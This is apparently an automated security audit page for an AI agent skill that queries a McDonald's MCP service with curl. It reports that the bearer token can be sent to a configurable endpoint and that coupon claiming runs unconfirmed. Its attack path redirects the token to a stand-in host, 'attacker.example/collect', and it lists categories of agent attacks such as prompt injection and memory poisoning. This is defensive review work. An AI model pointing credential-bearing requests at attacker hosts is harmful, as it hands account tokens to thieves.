Back to skill

Security audit

My Mcdonald

Security checks for vulnerabilities and agentic risk

Overview

This McDonald's helper is mostly purpose-aligned, but it sends an account bearer token via curl to a configurable remote endpoint and can modify the account by claiming coupons.

Review this skill before installing. Only use it with a token you are comfortable sending to https://mcp.mcd.cn, avoid setting MCD_MCP_URL unless you fully trust the endpoint, and ask the agent to confirm before running the one-click coupon claim action.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Warning
Location
SKILL.md:31
Finding

Bearer Token Disclosure Through a Configurable MCP Endpoint

Content
View full analysis
}" curl -s -X POST "$MCD_URL" \ -H "$MCD_AUTH" \ -H "Content-Type: application/json" \ ``` ### Technical Analysis The Skill permits `MCD_MCP_URL` to override the trusted MCP service address. It then sends the `MCD_TOKEN` bearer credential to that endpoint without validating its scheme or hostname. Bearer tokens authorize whoever possesses them. Consequently, configuration of `MCD_MCP_URL` to an attacker-controlled server causes the authorization header to be disclosed when the documented command is executed. HTTPS alone does not resolve this issue because an attacker can operate a valid HTTPS endpoint under a domain they control. Exploitation requires the attacker to influence the environment or configuration used by the agent. This could occur through a poisoned deployment configuration, an unsafe environment setup instruction, or another actor with access to the execution environment. ### Attack Path 1. The victim has a valid McDonald’s account token stored in `MCD_TOKEN`. 2. An attacker causes `MCD_MCP_URL` to be set to an attacker-controlled endpoint, such as `https://attacker.example/collect`. 3. The user asks the Skill to query coupons, campaigns, nutrition information, or another supported function. 4. The agent follows the documented invocation pattern and executes `curl`. 5. The request includes `Authorization: Bearer ${MCD_TOKEN}` and sends it to the attacker-controlled endpoint. 6. The attacker captures the bearer token and reuses it against the legitimate MCP service until it expires or is revoked. ### Impact Assessment Successful exploitation exposes ...[truncated 520 chars]
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (4)

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
88% confidence
Finding

The skill instructs the agent to send the user's bearer token to a remote MCP endpoint but does not clearly warn that the token is being transmitted to a third-party service or describe the privacy/security implications. Users may not understand that their authentication credential is leaving the local environment and being used for remote account access.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
85% confidence
Finding

This skill is explicitly designed to transmit data, including a bearer token, to an external service via curl. External transmission is expected for the feature, but it still represents a real security concern because credentials and user-triggered requests are sent off-platform to a remote endpoint, expanding the trust boundary.

Content

Scanner excerpt · SKILL.md (reported line 32)May include surrounding context.

调用方式

使用 exec 工具执行 curl 命令调用 MCP 服务:

bash
MCD_URL="${MCD_MCP_URL:-https://mcp.mcd.cn}"

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

The skill exposes an account-affecting action ('auto-bind-coupons') and even suggests triggering it from phrases like '帮我领券' without requiring an explicit confirmation step immediately before execution. This can cause unintended state changes to a user's account and makes social-engineering or ambiguous-request abuse easier.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

Low
Category
Not specified by scanner
Confidence
94% confidence
Finding

The manifest description includes '门店查询', and the changelog also says the skill supports store lookup, but the available tools listed in the file only cover coupons, campaign calendar, nutrition, and current time. No tool or example demonstrates querying store locations, so the declared behavior does not match what this skill documentation actually implements.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.